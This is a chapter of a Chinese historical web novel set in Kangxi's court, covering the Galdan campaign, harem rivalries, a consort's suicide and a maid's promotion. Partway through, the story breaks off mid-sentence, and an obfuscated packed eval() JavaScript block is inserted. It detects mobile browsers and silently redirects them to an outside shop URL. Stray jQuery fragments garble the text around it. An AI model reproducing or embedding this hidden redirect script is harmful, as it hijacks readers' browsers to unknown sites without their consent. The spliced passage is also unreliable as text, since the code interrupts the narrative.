康熙三十五年，春。
准噶尔的狼烟终于烧到了天子脚下。葛尔丹越界，战书递到乾清宫的那天，康熙当着满朝文武的面，把战书摔在地上。
“朕亲征。”
三个字，掷地有声。
消息传到后宫的时候，我正在永和宫看竹息整理账册。她的手一顿，墨滴在纸上，晕开一小团黑。
“皇上要亲征？”她的声音有些发紧。
我没抬头。“皇上什么大风大浪没见过，准噶尔翻不了天。”
可我的手，还是停了。
送行那日，乾清宫门前黑压压站满了人。后宫女眷、阿哥福晋、王公贵族，乌泱泱一片。天还没亮，风很大，吹得旗帜猎猎作响。康熙穿着一身明黄盔甲，骑在马上，英姿勃发。他已经四十多岁了，可那双眼还是亮的，亮得像刀锋上的寒光。
我站在人群中，看着随行队伍里那些年轻的面孔。大阿哥、三阿哥、四阿哥、五阿哥、七阿哥、八阿哥——都去了。最小的，是卫双儿的八阿哥，才十几岁，骑在马上，腰杆挺得笔直，像一棵还没长成的小白杨。他的嫡福晋郭络罗沉宛站在我不远处，穿着一身大红旗装，头戴赤金凤钗，下巴抬得高高的，看谁都是一副睥睨之态。她是安亲王的外孙女，骨子里就带着皇室格格的傲慢。宜妃姐妹在她眼里不过是包衣出身的“暴发户”，太子妃石怀墨在她眼里更是“汉女低贱”。她站在那里，像一只开屏的孔雀，恨不得所有人都看见她的羽毛。
石怀墨站在她旁边，安安静静，不卑不亢。
我看了沉宛一眼，又看了看石怀墨，没有说话。下一代的战争，已经开始了。
四爷府里，六个少女分居各院，等着四爷归来。宜修、齐月宾、瓜尔佳思纭、苗连芷、李静言、宋合欢，六个人，六种出身，六种心思。齐月宾每日在院里读书写字，安安静静。宋合欢每日在院里绣花哼曲，娇娇柔柔。思纭每日在院里舞刀弄枪，吵吵嚷嚷。李静言每日打扮得粉粉嫩嫩，每天穿不同的粉色。苗连芷每日在后院给花卉施肥浇水。宜修每日在院里练字、抄《女则》、给谢乳母端茶倒水，不争不抢，却事事做得让人挑不出错。
谢乳母跟我说：“德妃娘娘放心，宜修姑娘懂事，老奴会照顾好她的。”
我点了点头，没有多说什么。宜修懂事，我知道。可太懂事的人，往往心里藏着事。
四爷不在府里，谁先生下大世子，谁就是嫡福晋。这是规矩，也是赌局。六个少女，六颗棋子，等着同一个人的临幸，等着命运的宣判。
储秀宫那边，赫舍里索韵的病越来越重了。
她不肯看太医，不肯吃药，每天坐在院子里，望着延禧宫的方向出神。她的儿子死了，死在延禧宫的时疫里。她的姐姐死了，死在坤宁宫的血崩里。她的家族还在，可跟她有什么关系？
太监来报：“赫舍里格格上吊了。”
我手里的茶盏晃了晃，没有洒。
没有人知道她为什么要死。她养尊处优，她是仁孝皇后赫舍里索韶的妹妹，是太子的小姨母，是皇上的女人。她什么都有，可她不想活了。马佳琼殷听到消息，沉默了很久。她说：“当年本宫的承瑞夭折，本宫也闹过割腕上吊。孝庄太皇太后拦着本宫，苏麻喇姑劝本宫，说‘来日方长’。可来日方长，长的是什么呢？是更多的孩子，更多的夭折，更多的希望和更多的绝望。”
她顿了顿，声音低了下去。“索韵走了，是解脱。本宫替她高兴。”
索韵的丧仪等不到皇上回京，草草办了。皇上在蒙古听到消息，派加急传旨，让太子和太子妃主持追封仪式，追封索韵为平妃。
喇嘛念经，铜钦低鸣，经幡在风里哗哗作响。阮移光站在人群中，忽然凑到王离心耳边，嘀咕了一句：“只听说有平妻的，怎么还有平妃？皇上这是想把仁孝皇后的亲妹妹也抬为平妻吗？”
王离心脸色一变，轻轻拉了拉她的袖子。“姐姐，慎言。”
阮移光笑了笑，没再说话。喇嘛的诵经声很大，没有人听见她那句话。可王离心听见了，我也听见了。
葛尔丹伏诛的消息传回京城时，全城沸腾。
皇上凯旋，班师回朝，又带回两三个百姓民女。乾清宫门前又站满了人，这次不是送行，是迎接。大阿哥、三阿哥、四阿哥、五阿哥、七阿哥、八阿哥，人人都有军功。太子站在最前面，迎接他的父亲和兄弟们。
他的脸色不太好。监国这些日子，他沉迷李式微的温柔乡，奏折积压如山。石怀墨天天劝，他天天不听。如今皇上回来了，奏折还是那些奏折，一个字没批。康熙回宫后，第一时间不是责怪任何人，不是犒赏任何人，而是加急批复太子延误的军国民生大事。他坐在乾清宫的书案前，一本一本批，批到深夜。太监们站在门外，大气都不敢出。
第二天一早，册封四爷为贝勒的旨意就传到了四爷府。
齐月宾带着宜修、思纭等人跪在院子里接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916123|213324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
旨。“奉天承运，皇帝诏曰——皇四子胤禛，随朕亲征准噶尔，奋勇杀敌，有功于社稷，着即册封为贝勒。钦此。”
齐月宾磕头谢恩，接过圣旨，站起身来。
她身后的瓜尔佳思纭低着头，嘴角微微上扬。
四爷宠幸了宜修。又宠幸了宋合欢。同时看中了瓜尔佳思纭的身手，决定和瓜尔佳思纭搞一个秘密的谍报机构，广招武林高手。
宜修有孕了，宋合欢也有孕了。消息传到永和宫的时候，我正在给梅雾换药。她的伤口一直不好，反反复复，每次换药都疼得直吸气。兰茵也好不到哪去，胳膊上的伤虽然没有大碍，但太医说不能再劳累。
我把药膏涂在梅雾肩膀上，她咬着嘴唇没吭声。“疼就喊出来，这里没外人。”我说。
梅雾摇了摇头。“娘娘，奴婢不疼。”
我看了她一眼。竹息端着一盆温水进来，站在一旁，欲言又止。“怎么了？”我问。
“内务府来人了，说是素林姑姑年逾七十，该养老了。他们打算送素林姑姑去慈宁宫，陪着苏麻喇姑一块儿养老。”竹息顿了顿，“还说……别的宫室也把上了年纪的宫女太监遣散去养老了。内务府打算给咱们永和宫安排一个新的掌事宫女。”
我放下药膏，擦了擦手。“不用了。你去回秦风，就说永和宫的掌事宫女，本宫自己定。”
竹息愣了一下。“娘娘……”
“梅雾和兰茵伤了，不能劳累。竹息，从今天起，你是永和宫的掌事宫女。”
竹息扑通一声跪下了，眼眶红了。“娘娘，奴婢……奴婢一定为娘娘赴汤蹈火，在所不辞！”
我搀起她。“你们不离不弃，追随本宫多年，本宫自然知道你们的忠心。今后咱们也还要齐心协力，为皇上，为大清国，撑起这个永和宫。”
竹息的眼泪终于掉了下来。梅雾坐在一旁，眼圈也红了。兰茵站在门口，捂着嘴，不敢哭出声。
窗外，春光正好。永和宫的梧桐树又发了新芽，嫩绿嫩绿的，像是刚洗过一样。宜修和宋合欢有孕的消息还在耳边，素林姑姑要去慈宁宫养老了，梅雾和兰茵的伤还没好，竹息接任了掌事宫女。
有的人走了，有的人来了。有的人老了，有的人长大了。这宫里，永远是这样。我看着窗外的梧桐树，想起很多年前，我刚搬进永和宫的时候，这棵树还没这么高。如今它已经枝繁叶茂，遮住了半边院子。
树都长大了，何况人呢。